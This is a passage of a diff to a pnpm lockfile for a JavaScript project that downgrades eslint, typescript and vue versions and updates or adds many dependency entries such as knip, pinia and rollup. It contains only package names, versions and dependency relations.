4.1.2 - semver: 7.7.3 + semver: 7.7.4 - eslint-plugin-es-x@7.8.0(eslint@10.0.0(jiti@1.21.7)): + eslint-plugin-es-x@7.8.0(eslint@9.29.0(jiti@2.4.2)): dependencies: - '@eslint-community/eslint-utils': 4.9.0(eslint@10.0.0(jiti@1.21.7)) + '@eslint-community/eslint-utils': 4.9.1(eslint@9.29.0(jiti@2.4.2)) '@eslint-community/regexpp': 4.12.2 - eslint: 10.0.0(jiti@1.21.7) - eslint-compat-utils: 0.5.1(eslint@10.0.0(jiti@1.21.7)) + eslint: 9.29.0(jiti@2.4.2) + eslint-compat-utils: 0.5.1(eslint@9.29.0(jiti@2.4.2)) - eslint-plugin-import@2.31.0(@typescript-eslint/parser@8.26.1(eslint@10.0.0(jiti@1.21.7))(typescript@5.9.3))(eslint@10.0.0(jiti@1.21.7)): + eslint-plugin-import@2.31.0(@typescript-eslint/parser@8.26.1(eslint@9.29.0(jiti@2.4.2))(typescript@5.5.4))(eslint@9.29.0(jiti@2.4.2)): dependencies: '@rtsao/scc': 1.1.0 array-includes: 3.1.9 @@ -3446,13 +3981,13 @@ snapshots: array.prototype.flatmap: 1.3.3 debug: 3.2.7 doctrine: 2.1.0 - eslint: 10.0.0(jiti@1.21.7) - eslint-import-resolver-node: 0.3.9 - eslint-module-utils: 2.12.1(@typescript-eslint/parser@8.26.1(eslint@10.0.0(jiti@1.21.7))(typescript@5.9.3))(eslint-import-resolver-node@0.3.9)(eslint@10.0.0(jiti@1.21.7)) + eslint: 9.29.0(jiti@2.4.2) + eslint-import-resolver-node: 0.3.10 + eslint-module-utils: 2.12.1(@typescript-eslint/parser@8.26.1(eslint@9.29.0(jiti@2.4.2))(typescript@5.5.4))(eslint-import-resolver-node@0.3.10)(eslint@9.29.0(jiti@2.4.2)) hasown: 2.0.2 is-core-module: 2.16.1 is-glob: 4.0.3 - minimatch: 3.1.2 + minimatch: 3.1.5 object.fromentries: 2.0.8 object.groupby: 1.0.3 object.values: 1.2.1 @@ -3460,59 +3995,54 @@ snapshots: string.prototype.trimend: 1.0.9 tsconfig-paths: 3.15.0 optionalDependencies: - '@typescript-eslint/parser': 8.26.1(eslint@10.0.0(jiti@1.21.7))(typescript@5.9.3) + '@typescript-eslint/parser': 8.26.1(eslint@9.29.0(jiti@2.4.2))(typescript@5.5.4) transitivePeerDependencies: - eslint-import-resolver-typescript - eslint-import-resolver-webpack - supports-color - eslint-plugin-n@17.16.2(eslint@10.0.0(jiti@1.21.7)): + eslint-plugin-n@17.16.2(eslint@9.29.0(jiti@2.4.2)): dependencies: - '@eslint-community/eslint-utils': 4.9.0(eslint@10.0.0(jiti@1.21.7)) - enhanced-resolve: 5.18.4 - eslint: 10.0.0(jiti@1.21.7) - eslint-plugin-es-x: 7.8.0(eslint@10.0.0(jiti@1.21.7)) - get-tsconfig: 4.13.0 + '@eslint-community/eslint-utils': 4.9.1(eslint@9.29.0(jiti@2.4.2)) + enhanced-resolve: 5.20.1 + eslint: 9.29.0(jiti@2.4.2) + eslint-plugin-es-x: 7.8.0(eslint@9.29.0(jiti@2.4.2)) + get-tsconfig: 4.13.7 globals: 15.15.0 ignore: 5.3.2 - minimatch: 9.0.5 - semver: 7.7.3 - - eslint-plugin-no-unsanitized@4.1.2(eslint@10.0.0(jiti@1.21.7)): - dependencies: - eslint: 10.0.0(jiti@1.21.7) + minimatch: 9.0.9 + semver: 7.7.4 - eslint-plugin-prettier@5.2.1(eslint-config-prettier@10.1.1(eslint@10.0.0(jiti@1.21.7)))(eslint@10.0.0(jiti@1.21.7))(prettier@3.7.4): + eslint-plugin-prettier@5.2.1(eslint-config-prettier@10.1.1(eslint@9.29.0(jiti@2.4.2)))(eslint@9.29.0(jiti@2.4.2))(prettier@3.8.1): dependencies: - eslint: 10.0.0(jiti@1.21.7) - prettier: 3.7.4 - prettier-linter-helpers: 1.0.0 + eslint: 9.29.0(jiti@2.4.2) + prettier: 3.8.1 + prettier-linter-helpers: 1.0.1 synckit: 0.9.3 optionalDependencies: - eslint-config-prettier: 10.1.1(eslint@10.0.0(jiti@1.21.7)) + eslint-config-prettier: 10.1.1(eslint@9.29.0(jiti@2.4.2)) - eslint-plugin-vue@10.6.0(@typescript-eslint/parser@8.26.1(eslint@10.0.0(jiti@1.21.7))(typescript@5.9.3))(eslint@10.0.0(jiti@1.21.7))(vue-eslint-parser@10.2.0(eslint@10.0.0(jiti@1.21.7))): + eslint-plugin-vue@9.32.0(eslint@9.29.0(jiti@2.4.2)): dependencies: - '@eslint-community/eslint-utils': 4.9.0(eslint@10.0.0(jiti@1.21.7)) - eslint: 10.0.0(jiti@1.21.7) + '@eslint-community/eslint-utils': 4.9.1(eslint@9.29.0(jiti@2.4.2)) + eslint: 9.29.0(jiti@2.4.2) + globals: 13.24.0 natural-compare: 1.4.0 nth-check: 2.1.1 - postcss-selector-parser: 7.1.1 - semver: 7.7.3 - vue-eslint-parser: 10.2.0(eslint@10.0.0(jiti@1.21.7)) + postcss-selector-parser: 6.1.2 + semver: 7.7.4 + vue-eslint-parser: 9.4.3(eslint@9.29.0(jiti@2.4.2)) xml-name-validator: 4.0.0 - optionalDependencies: - '@typescript-eslint/parser': 8.26.1(eslint@10.0.0(jiti@1.21.7))(typescript@5.9.3) + transitivePeerDependencies: + - supports-color - eslint-scope@8.4.0: + eslint-scope@7.2.2: dependencies: esrecurse: 4.3.0 estraverse: 5.3.0 - eslint-scope@9.1.0: + eslint-scope@8.4.0: dependencies: - '@types/esrecurse': 4.3.1 - '@types/estree': 1.0.8 esrecurse: 4.3.0 estraverse: 5.3.0 @@ -3520,27 +4050,29 @@ snapshots: eslint-visitor-keys@4.2.1: {} - eslint-visitor-keys@5.0.0: {} - - eslint@10.0.0(jiti@1.21.7): + eslint@9.29.0(jiti@2.4.2): dependencies: - '@eslint-community/eslint-utils': 4.9.0(eslint@10.0.0(jiti@1.21.7)) + '@eslint-community/eslint-utils': 4.9.1(eslint@9.29.0(jiti@2.4.2)) '@eslint-community/regexpp': 4.12.2 - '@eslint/config-array': 0.23.1 - '@eslint/config-helpers': 0.5.2 - '@eslint/core': 1.1.0 - '@eslint/plugin-kit': 0.6.0 + '@eslint/config-array': 0.20.1 + '@eslint/config-helpers': 0.2.3 + '@eslint/core': 0.14.0 + '@eslint/eslintrc': 3.3.5 + '@eslint/js': 9.29.0 + '@eslint/plugin-kit': 0.3.5 '@humanfs/node': 0.16.7 '@humanwhocodes/module-importer': 1.0.1 '@humanwhocodes/retry': 0.4.3 '@types/estree': 1.0.8 - ajv: 6.12.6 + '@types/json-schema': 7.0.15 + ajv: 6.14.0 + chalk: 4.1.2 cross-spawn: 7.0.6 debug: 4.4.3 escape-string-regexp: 4.0.0 - eslint-scope: 9.1.0 - eslint-visitor-keys: 5.0.0 - espree: 11.1.0 + eslint-scope: 8.4.0 + eslint-visitor-keys: 4.2.1 + espree: 10.4.0 esquery: 1.7.0 esutils: 2.0.3 fast-deep-equal: 3.1.3 @@ -3551,29 +4083,26 @@ snapshots: imurmurhash: 0.1.4 is-glob: 4.0.3 json-stable-stringify-without-jsonify: 1.0.1 - minimatch: 10.1.1 + lodash.merge: 4.6.2 + minimatch: 3.1.5 natural-compare: 1.4.0 optionator: 0.9.4 optionalDependencies: - jiti: 1.21.7 + jiti: 2.4.2 transitivePeerDependencies: - supports-color espree@10.4.0: dependencies: - acorn: 8.15.0 - acorn-jsx: 5.3.2(acorn@8.15.0) + acorn: 8.16.0 + acorn-jsx: 5.3.2(acorn@8.16.0) eslint-visitor-keys: 4.2.1 - espree@11.1.0: + espree@9.6.1: dependencies: - acorn: 8.15.0 - acorn-jsx: 5.3.2(acorn@8.15.0) - eslint-visitor-keys: 5.0.0 - - esquery@1.6.0: - dependencies: - estraverse: 5.3.0 + acorn: 8.16.0 + acorn-jsx: 5.3.2(acorn@8.16.0) + eslint-visitor-keys: 3.4.3 esquery@1.7.0: dependencies: @@ -3587,15 +4116,21 @@ snapshots: estree-walker@2.0.2: {} + estree-walker@3.0.3: + dependencies: + '@types/estree': 1.0.8 + esutils@2.0.3: {} etag@1.8.1: {} + expect-type@1.3.0: {} + express@5.0.0: dependencies: accepts: 2.0.0 - body-parser: 2.2.1 - content-disposition: 1.0.1 + body-parser: 2.2.2 + content-disposition: 1.1.0 content-type: 1.0.5 cookie: 0.6.0 cookie-signature: 1.2.2 @@ -3618,8 +4153,8 @@ snapshots: range-parser: 1.2.1 router: 2.2.0 safe-buffer: 5.2.1 - send: 1.2.0 - serve-static: 2.2.0 + send: 1.2.1 + serve-static: 2.2.1 setprototypeof: 1.2.0 statuses: 2.0.1 type-is: 2.0.1 @@ -3646,13 +4181,17 @@ snapshots: fast-uri@3.1.0: {} - fastq@1.19.1: + fastq@1.20.1: dependencies: reusify: 1.1.0 - fdir@6.5.0(picomatch@4.0.3): + fd-package-json@2.0.0: + dependencies: + walk-up-path: 4.0.0 + + fdir@6.5.0(picomatch@4.0.4): optionalDependencies: - picomatch: 4.0.3 + picomatch: 4.0.4 file-entry-cache@8.0.0: dependencies: @@ -3680,10 +4219,10 @@ snapshots: flat-cache@4.0.1: dependencies: - flatted: 3.3.3 + flatted: 3.4.2 keyv: 4.5.4 - flatted@3.3.3: {} + flatted@3.4.2: {} for-each@0.3.5: dependencies: @@ -3694,6 +4233,10 @@ snapshots: cross-spawn: 7.0.6 signal-exit: 4.1.0 + formatly@0.3.0: + dependencies: + fd-package-json: 2.0.0 + forwarded@0.2.0: {} fresh@2.0.0: {} @@ -3740,7 +4283,7 @@ snapshots: es-errors: 1.3.0 get-intrinsic: 1.3.0 - get-tsconfig@4.13.0: + get-tsconfig@4.13.7: dependencies: resolve-pkg-maps: 1.0.0 @@ -3755,11 +4298,17 @@ snapshots: glob@11.0.1: dependencies: foreground-child: 3.3.1 - jackspeak: 4.1.1 - minimatch: 10.1.1 - minipass: 7.1.2 + jackspeak: 4.2.3 + minimatch: 10.2.5 + minipass: 7.1.3 package-json-from-dist: 1.0.1 - path-scurry: 2.0.1 + path-scurry: 2.0.2 + + globals@13.24.0: + dependencies: + type-fest: 0.20.2 + + globals@14.0.0: {} globals@15.15.0: {} @@ -3776,6 +4325,8 @@ snapshots: has-bigints@1.1.0: {} + has-flag@4.0.0: {} + has-property-descriptors@1.0.2: dependencies: es-define-property: 1.0.1 @@ -3794,7 +4345,7 @@ snapshots: dependencies: function-bind: 1.1.2 - he@1.2.0: {} + hookable@5.5.3: {} http-errors@2.0.0: dependencies: @@ -3812,7 +4363,7 @@ snapshots: statuses: 2.0.2 toidentifier: 1.0.1 - iconv-lite@0.7.1: + iconv-lite@0.7.2: dependencies: safer-buffer: 2.1.2 @@ -3820,6 +4371,11 @@ snapshots: immediate@3.0.6: {} + import-fresh@3.3.1: + dependencies: + parent-module: 1.0.1 + resolve-from: 4.0.0 + imurmurhash@0.1.4: {} inherits@2.0.4: {} @@ -3882,8 +4438,6 @@ snapshots: dependencies: call-bound: 1.0.4 - is-fullwidth-code-point@3.0.0: {} - is-generator-function@1.1.2: dependencies: call-bound: 1.0.4 @@ -3935,7 +4489,7 @@ snapshots: is-typed-array@1.1.15: dependencies: - which-typed-array: 1.1.19 + which-typed-array: 1.1.20 is-weakmap@2.0.2: {} @@ -3948,22 +4502,30 @@ snapshots: call-bound: 1.0.4 get-intrinsic: 1.3.0 + is-what@5.5.0: {} + isarray@1.0.0: {} isarray@2.0.5: {} isexe@2.0.0: {} - jackspeak@4.1.1: + jackspeak@4.2.3: dependencies: - '@isaacs/cliui': 8.0.2 + '@isaacs/cliui': 9.0.0 jiti@1.21.7: {} jiti@2.4.2: {} + jiti@2.6.1: {} + joycon@3.1.1: {} + js-yaml@4.1.1: + dependencies: + argparse: 2.0.1 + json-buffer@3.0.1: {} json-schema-traverse@0.4.1: {} @@ -3989,6 +4551,26 @@ snapshots: dependencies: json-buffer: 3.0.1 + knip@5.70.2(@emnapi/core@1.9.2)(@emnapi/runtime@1.9.2)(@types/node@25.5.2)(typescript@5.5.4): + dependencies: + '@nodelib/fs.walk': 1.2.8 + '@types/node': 25.5.2 + fast-glob: 3.3.3 + formatly: 0.3.0 + jiti: 2.6.1 + js-yaml: 4.1.1 + minimist: 1.2.8 + oxc-resolver: 11.19.1(@emnapi/core@1.9.2)(@emnapi/runtime@1.9.2) + picocolors: 1.1.1 + picomatch: 4.0.4 + smol-toml: 1.6.1 + strip-json-comments: 5.0.3 + typescript: 5.5.4 + zod: 4.3.6 + transitivePeerDependencies: + - '@emnapi/core' + - '@emnapi/runtime' + levn@0.4.1: dependencies: prelude-ls: 1.2.1 @@ -4012,11 +4594,13 @@ snapshots: lodash.memoize@4.1.2: {} + lodash.merge@4.6.2: {} + lodash.sortby@4.7.0: {} - lodash@4.17.21: {} + lodash@4.18.1: {} - lru-cache@11.2.4: {} + lru-cache@11.3.2: {} magic-string@0.30.21: dependencies: @@ -4035,7 +4619,7 @@ snapshots: micromatch@4.0.8: dependencies: braces: 3.0.3 - picomatch: 2.3.1 + picomatch: 2.3.2 mime-db@1.54.0: {} @@ -4043,21 +4627,23 @@ snapshots: dependencies: mime-db: 1.54.0 - minimatch@10.1.1: + minimatch@10.2.5: dependencies: - '@isaacs/brace-expansion': 5.0.0 + brace-expansion: 5.0.5 - minimatch@3.1.2: + minimatch@3.1.5: dependencies: - brace-expansion: 1.1.12 + brace-expansion: 1.1.13 - minimatch@9.0.5: + minimatch@9.0.9: dependencies: - brace-expansion: 2.0.2 + brace-expansion: 2.0.3 minimist@1.2.8: {} - minipass@7.1.2: {} + minipass@7.1.3: {} + + mitt@3.0.1: {} ms@2.1.2: {} @@ -4077,7 +4663,14 @@ snapshots: negotiator@1.0.0: {} - node-releases@2.0.27: {} + node-exports-info@1.6.0: + dependencies: + array.prototype.flatmap: 1.3.3 + es-errors: 1.3.0 + object.entries: 1.1.9 + semver: 6.3.1 + + node-releases@2.0.37: {} normalize-path@3.0.0: {} @@ -4102,18 +4695,25 @@ snapshots: has-symbols: 1.1.0 object-keys: 1.1.1 + object.entries@1.1.9: + dependencies: + call-bind: 1.0.8 + call-bound: 1.0.4 + define-properties: 1.2.1 + es-object-atoms: 1.1.1 + object.fromentries@2.0.8: dependencies: call-bind: 1.0.8 define-properties: 1.2.1 - es-abstract: 1.24.1 + es-abstract: 1.24.2 es-object-atoms: 1.1.1 object.groupby@1.0.3: dependencies: call-bind: 1.0.8 define-properties: 1.2.1 - es-abstract: 1.24.1 + es-abstract: 1.24.2 object.values@1.2.1: dependencies: @@ -4122,6 +4722,8 @@ snapshots: define-properties: 1.2.1 es-object-atoms: 1.1.1 + obug@2.1.1: {} + on-finished@2.4.1: dependencies: ee-first: 1.1.1 @@ -4145,6 +4747,32 @@ snapshots: object-keys: 1.1.1 safe-push-apply: 1.0.0 + oxc-resolver@11.19.1(@emnapi/core@1.9.2)(@emnapi/runtime@1.9.2): + optionalDependencies: + '@oxc-resolver/binding-android-arm-eabi': 11.19.1 + '@oxc-resolver/binding-android-arm64': 11.19.1 + '@oxc-resolver/binding-darwin-arm64': 11.19.1 + '@oxc-resolver/binding-darwin-x64': 11.19.1 + '@oxc-resolver/binding-freebsd-x64': 11.19.1 + '@oxc-resolver/binding-linux-arm-gnueabihf': 11.19.1 + '@oxc-resolver/binding-linux-arm-musleabihf': 11.19.1 + '@oxc-resolver/binding-linux-arm64-gnu': 11.19.1 + '@oxc-resolver/binding-linux-arm64-musl': 11.19.1 + '@oxc-resolver/binding-linux-ppc64-gnu': 11.19.1 + '@oxc-resolver/binding-linux-riscv64-gnu': 11.19.1 + '@oxc-resolver/binding-linux-riscv64-musl': 11.19.1 + '@oxc-resolver/binding-linux-s390x-gnu': 11.19.1 + '@oxc-resolver/binding-linux-x64-gnu': 11.19.1 + '@oxc-resolver/binding-linux-x64-musl': 11.19.1 + '@oxc-resolver/binding-openharmony-arm64': 11.19.1 + '@oxc-resolver/binding-wasm32-wasi': 11.19.1(@emnapi/core@1.9.2)(@emnapi/runtime@1.9.2) + '@oxc-resolver/binding-win32-arm64-msvc': 11.19.1 + '@oxc-resolver/binding-win32-ia32-msvc': 11.19.1 + '@oxc-resolver/binding-win32-x64-msvc': 11.19.1 + transitivePeerDependencies: + - '@emnapi/core' + - '@emnapi/runtime' + p-limit@3.1.0: dependencies: yocto-queue: 0.1.0 @@ -4157,6 +4785,10 @@ snapshots: pako@1.0.11: {} + parent-module@1.0.1: + dependencies: + callsites: 3.1.0 + parseurl@1.3.3: {} path-browserify@1.0.1: {} @@ -4167,82 +4799,80 @@ snapshots: path-parse@1.0.7: {} - path-scurry@2.0.1: + path-scurry@2.0.2: dependencies: - lru-cache: 11.2.4 - minipass: 7.1.2 + lru-cache: 11.3.2 + minipass: 7.1.3 - path-to-regexp@8.3.0: {} + path-to-regexp@8.4.2: {} + + pathe@2.0.3: {} + + perfect-debounce@1.0.0: {} picocolors@1.1.1: {} - picomatch@2.3.1: {} + picomatch@2.3.2: {} - picomatch@4.0.3: {} + picomatch@4.0.4: {} pify@2.3.0: {} + pinia@3.0.4(typescript@5.5.4)(vue@3.5.22(typescript@5.5.4)): + dependencies: + '@vue/devtools-api': 7.7.9 + vue: 3.5.22(typescript@5.5.4) + optionalDependencies: + typescript: 5.5.4 + pirates@4.0.7: {} possible-typed-array-names@1.1.0: {} - postcss-import@15.1.0(postcss@8.5.6): + postcss-import@15.1.0(postcss@8.5.9): dependencies: - postcss: 8.5.6 + postcss: 8.5.9 postcss-value-parser: 4.2.0 read-cache: 1.0.0 resolve: 1.22.11 - postcss-js@4.1.0(postcss@8.5.6): + postcss-js@4.1.0(postcss@8.5.9): dependencies: camelcase-css: 2.0.1 - postcss: 8.5.6 + postcss: 8.5.9 - postcss-load-config@4.0.2(postcss@8.5.6): + postcss-load-config@4.0.2(postcss@8.5.9): dependencies: lilconfig: 3.1.3 - yaml: 2.8.2 + yaml: 2.8.3 optionalDependencies: - postcss: 8.5.6 + postcss: 8.5.9 - postcss-load-config@6.0.1(jiti@1.21.7)(postcss@8.5.6)(yaml@2.8.2): - dependencies: - lilconfig: 3.1.3 - optionalDependencies: - jiti: 1.21.7 - postcss: 8.5.6 - yaml: 2.8.2 - - postcss-load-config@6.0.1(jiti@2.4.2)(postcss@8.5.6)(yaml@2.8.2): + postcss-load-config@6.0.1(jiti@2.4.2)(postcss@8.5.9)(yaml@2.8.3): dependencies: lilconfig: 3.1.3 optionalDependencies: jiti: 2.4.2 - postcss: 8.5.6 - yaml: 2.8.2 + postcss: 8.5.9 + yaml: 2.8.3 - postcss-nested@6.2.0(postcss@8.5.6): + postcss-nested@6.2.0(postcss@8.5.9): dependencies: - postcss: 8.5.6 + postcss: 8.5.9 postcss-selector-parser: 6.1.2 - postcss-prefixwrap@1.57.2(postcss@8.5.6): + postcss-prefixwrap@1.51.0(postcss@8.5.9): dependencies: - postcss: 8.5.6 + postcss: 8.5.9 postcss-selector-parser@6.1.2: dependencies: cssesc: 3.0.0 util-deprecate: 1.0.2 - postcss-selector-parser@7.1.1: - dependencies: - cssesc: 3.0.0 - util-deprecate: 1.0.2 - postcss-value-parser@4.2.0: {} - postcss@8.5.6: + postcss@8.5.9: dependencies: nanoid: 3.3.11 picocolors: 1.1.1 @@ -4250,18 +4880,18 @@ snapshots: prelude-ls@1.2.1: {} - prettier-linter-helpers@1.0.0: + prettier-linter-helpers@1.0.1: dependencies: fast-diff: 1.3.0 - prettier@3.7.4: {} + prettier@3.8.1: {} - primevue@4.1.0(vue@3.5.26(typescript@5.9.3)): + primevue@4.1.0(vue@3.5.22(typescript@5.5.4)): dependencies: '@primeuix/styled': 0.2.0 '@primeuix/utils': 0.2.0 - '@primevue/core': 4.1.0(vue@3.5.26(typescript@5.9.3)) - '@primevue/icons': 4.1.0(vue@3.5.26(typescript@5.9.3)) + '@primevue/core': 4.1.0(vue@3.5.22(typescript@5.5.4)) + '@primevue/icons': 4.1.0(vue@3.5.22(typescript@5.5.4)) transitivePeerDependencies: - vue @@ -4278,7 +4908,7 @@ snapshots: dependencies: side-channel: 1.1.0 - qs@6.14.0: + qs@6.15.0: dependencies: side-channel: 1.1.0 @@ -4290,7 +4920,7 @@ snapshots: dependencies: bytes: 3.1.2 http-errors: 2.0.1 - iconv-lite: 0.7.1 + iconv-lite: 0.7.2 unpipe: 1.0.0 read-cache@1.0.0: @@ -4309,7 +4939,7 @@ snapshots: readdirp@3.6.0: dependencies: - picomatch: 2.3.1 + picomatch: 2.3.2 readdirp@4.1.2: {} @@ -4317,7 +4947,7 @@ snapshots: dependencies: call-bind: 1.0.8 define-properties: 1.2.1 - es-abstract: 1.24.1 + es-abstract: 1.24.2 es-errors: 1.3.0 es-object-atoms: 1.1.1 get-intrinsic: 1.3.0 @@ -4335,6 +4965,8 @@ snapshots: require-from-string@2.0.2: {} + resolve-from@4.0.0: {} + resolve-from@5.0.0: {} resolve-pkg-maps@1.0.0: {} @@ -4345,34 +4977,48 @@ snapshots: path-parse: 1.0.7 supports-preserve-symlinks-flag: 1.0.0 + resolve@2.0.0-next.6: + dependencies: + es-errors: 1.3.0 + is-core-module: 2.16.1 + node-exports-info: 1.6.0 + object-keys: 1.1.1 + path-parse: 1.0.7 + supports-preserve-symlinks-flag: 1.0.0 + reusify@1.1.0: {} - rollup@4.53.3: + rfdc@1.4.1: {} + + rollup@4.60.1: dependencies: '@types/estree': 1.0.8 optionalDependencies: - '@rollup/rollup-android-arm-eabi': 4.53.3 - '@rollup/rollup-android-arm64': 4.53.3 - '@rollup/rollup-darwin-arm64': 4.53.3 - '@rollup/rollup-darwin-x64': 4.53.3 - '@rollup/rollup-freebsd-arm64': 4.53.3 - '@rollup/rollup-freebsd-x64': 4.53.3 - '@rollup/rollup-linux-arm-gnueabihf': 4.53.3 - '@rollup/rollup-linux-arm-musleabihf': 4.53.3 - '@rollup/rollup-linux-arm64-gnu': 4.53.3 - '@rollup/rollup-linux-arm64-musl': 4.53.3 - '@rollup/rollup-linux-loong64-gnu': 4.53.3 - '@rollup/rollup-linux-ppc64-gnu': 4.53.3 - '@rollup/rollup-linux-riscv64-gnu': 4.53.3 - '@rollup/rollup-linux-riscv64-musl': 4.53.3 - '@rollup/rollup-linux-s390x-gnu': 4.53.3 - '@rollup/rollup-linux-x64-gnu': 4.53.3 - '@rollup/rollup-linux-x64-musl': 4.53.3 - '@rollup/rollup-openharmony-arm64': 4.53.3 - '@rollup/rollup-win32-arm64-msvc': 4.53.3 - '@rollup/rollup-win32-ia32-msvc': 4.53.3 - '@rollup/rollup-win32-x64-gnu': 4.53.3 - '@rollup/rollup-win32-x64-msvc': 4.53.3 + '@rollup/rollup-android-arm-eabi': 4.60.1 + '@rollup/rollup-android-arm64': 4.60.1 + '@rollup/rollup-darwin-arm64': 4.60.1 + '@rollup/rollup-darwin-x64': 4.60.1 + '@rollup/rollup-freebsd-arm64': 4.60.1 + '@rollup/rollup-freebsd-x64': 4.60.1 + '@rollup/rollup-linux-arm-gnueabihf': 4.60.1 + '@rollup/rollup-linux-arm-musleabihf': 4.60.1 + '@rollup/rollup-linux-arm64-gnu': 4.60.1 + '@rollup/rollup-linux-arm64-musl': 4.60.1 + '@rollup/rollup-linux-loong64-gnu': 4.60.1 + '@rollup/rollup-linux-loong64-musl': 4.60.1 + '@rollup/rollup-linux-ppc64-gnu': 4.60.1 + '@rollup/rollup-linux-ppc64-musl': 4.60.1 + '@rollup/rollup-linux-riscv64-gnu': 4.60.1 + '@rollup/rollup-linux-riscv64-musl': 4.60.1 + '@rollup/rollup-linux-s390x-gnu': 4.60.1 + '@rollup/rollup-linux-x64-gnu': 4.60.1 + '@rollup/rollup-linux-x64-musl': 4.60.1 + '@rollup/rollup-openbsd-x64': 4.60.1 + '@rollup/rollup-openharmony-arm64': 4.60.1 + '@rollup/rollup-win32-arm64-msvc': 4.60.1 + '@rollup/rollup-win32-ia32-msvc': 4.60.1 + '@rollup/rollup-win32-x64-gnu': 4.60.1 + '@rollup/rollup-win32-x64-msvc': 4.60.1 fsevents: 2.3.3 router@2.2.0: @@ -4381,7 +5027,7 @@ snapshots: depd: 2.0.0 is-promise: 4.0.0 parseurl: 1.3.3 - path-to-regexp: 8.3.0 + path-to-regexp: 8.4.2 transitivePeerDependencies: - supports-color @@ -4416,30 +5062,30 @@ snapshots: semver@6.3.1: {} - semver@7.7.3: {} + semver@7.7.4: {} - send@1.2.0: + send@1.2.1: dependencies: debug: 4.4.3 encodeurl: 2.0.0 escape-html: 1.0.3 etag: 1.8.1 fresh: 2.0.0 - http-errors: 2.0.0 + http-errors: 2.0.1 mime-types: 3.0.2 ms: 2.1.3 on-finished: 2.4.1 range-parser: 1.2.1 - statuses: 2.0.1 + statuses: 2.0.2 transitivePeerDependencies: - supports-color - serve-static@2.2.0: + serve-static@2.2.1: dependencies: encodeurl: 2.0.0 escape-html: 1.0.3 parseurl: 1.3.3 - send: 1.2.0 + send: 1.2.1 transitivePeerDependencies: - supports-color @@ -4503,42 +5149,40 @@ snapshots: side-channel-map: 1.0.1 side-channel-weakmap: 1.0.2 + siginfo@2.0.0: {} + signal-exit@4.1.0: {} + smol-toml@1.6.1: {} + source-map-js@1.2.1: {} source-map@0.8.0-beta.0: dependencies: whatwg-url: 7.1.0 + speakingurl@14.0.1: {} + + stackback@0.0.2: {} + statuses@2.0.1: {} statuses@2.0.2: {} + std-env@4.0.0: {} + stop-iteration-iterator@1.1.0: dependencies: es-errors: 1.3.0 internal-slot: 1.1.0 - string-width@4.2.3: - dependencies: - emoji-regex: 8.0.0 - is-fullwidth-code-point: 3.0.0 - strip-ansi: 6.0.1 - - string-width@5.1.2: - dependencies: - eastasianwidth: 0.2.0 - emoji-regex: 9.2.2 - strip-ansi: 7.1.2 - string.prototype.trim@1.2.10: dependencies: call-bind: 1.0.8 call-bound: 1.0.4 define-data-property: 1.1.4 define-properties: 1.2.1 - es-abstract: 1.24.1 + es-abstract: 1.24.2 es-object-atoms: 1.1.1 has-property-descriptors: 1.0.2 @@ -4559,15 +5203,11 @@ snapshots: dependencies: safe-buffer: 5.1.2 - strip-ansi@6.0.1: - dependencies: - ansi-regex: 5.0.1 + strip-bom@3.0.0: {} - strip-ansi@7.1.2: - dependencies: - ansi-regex: 6.2.2 + strip-json-comments@3.1.1: {} - strip-bom@3.0.0: {} + strip-json-comments@5.0.3: {} style-mod@4.1.3: {} @@ -4578,9 +5218,17 @@ snapshots: lines-and-columns: 1.2.4 mz: 2.7.0 pirates: 4.0.7 - tinyglobby: 0.2.15 + tinyglobby: 0.2.16 ts-interface-checker: 0.1.13 + superjson@2.2.6: + dependencies: + copy-anything: 4.0.5 + + supports-color@7.2.0: + dependencies: + has-flag: 4.0.0 + supports-preserve-symlinks-flag@1.0.0: {} synckit@0.9.3: @@ -4588,9 +5236,9 @@ snapshots: '@pkgr/core': 0.1.2 tslib: 2.8.1 - tailwindcss-primeui@0.6.1(tailwindcss@3.4.19(yaml@2.8.2)): + tailwindcss-primeui@0.3.4(tailwindcss@3.4.13): dependencies: - tailwindcss: 3.4.19(yaml@2.8.2) + tailwindcss: 3.4.13 tailwindcss@3.4.13: dependencies: @@ -4608,46 +5256,18 @@ snapshots: normalize-path: 3.0.0 object-hash: 3.0.0 picocolors: 1.1.1 - postcss: 8.5.6 - postcss-import: 15.1.0(postcss@8.5.6) - postcss-js: 4.1.0(postcss@8.5.6) - postcss-load-config: 4.0.2(postcss@8.5.6) - postcss-nested: 6.2.0(postcss@8.5.6) + postcss: 8.5.9 + postcss-import: 15.1.0(postcss@8.5.9) + postcss-js: 4.1.0(postcss@8.5.9) + postcss-load-config: 4.0.2(postcss@8.5.9) + postcss-nested: 6.2.0(postcss@8.5.9) postcss-selector-parser: 6.1.2 resolve: 1.22.11 sucrase: 3.35.1 transitivePeerDependencies: - ts-node - tailwindcss@3.4.19(yaml@2.8.2): - dependencies: - '@alloc/quick-lru': 5.2.0 - arg: 5.0.2 - chokidar: 3.6.0 - didyoumean: 1.2.2 - dlv: 1.1.3 - fast-glob: 3.3.3 - glob-parent: 6.0.2 - is-glob: 4.0.3 - jiti: 1.21.7 - lilconfig: 3.1.3 - micromatch: 4.0.8 - normalize-path: 3.0.0 - object-hash: 3.0.0 - picocolors: 1.1.1 - postcss: 8.5.6 - postcss-import: 15.1.0(postcss@8.5.6) - postcss-js: 4.1.0(postcss@8.5.6) - postcss-load-config: 6.0.1(jiti@1.21.7)(postcss@8.5.6)(yaml@2.8.2) - postcss-nested: 6.2.0(postcss@8.5.6) - postcss-selector-parser: 6.1.2 - resolve: 1.22.11 - sucrase: 3.35.1 - transitivePeerDependencies: - - tsx - - yaml - - tapable@2.3.0: {} + tapable@2.3.2: {} thenify-all@1.6.0: dependencies: @@ -4657,12 +5277,18 @@ snapshots: dependencies: any-promise: 1.3.0 + tinybench@2.9.0: {} + tinyexec@0.3.2: {} - tinyglobby@0.2.15: + tinyexec@1.1.1: {} + + tinyglobby@0.2.16: dependencies: - fdir: 6.5.0(picomatch@4.0.3) - picomatch: 4.0.3 + fdir: 6.5.0(picomatch@4.0.4) + picomatch: 4.0.4 + + tinyrainbow@3.1.0: {} to-regex-range@5.0.1: dependencies: @@ -4676,9 +5302,9 @@ snapshots: tree-kill@1.2.2: {} - ts-api-utils@2.1.0(typescript@5.9.3): + ts-api-utils@2.5.0(typescript@5.5.4): dependencies: - typescript: 5.9.3 + typescript: 5.5.4 ts-interface-checker@0.1.13: {} @@ -4691,7 +5317,7 @@ snapshots: tslib@2.8.1: {} - tsup@8.3.5(jiti@2.4.2)(postcss@8.5.6)(typescript@5.9.3)(yaml@2.8.2): + tsup@8.3.5(jiti@2.4.2)(postcss@8.5.9)(typescript@5.5.4)(yaml@2.8.3): dependencies: bundle-require: 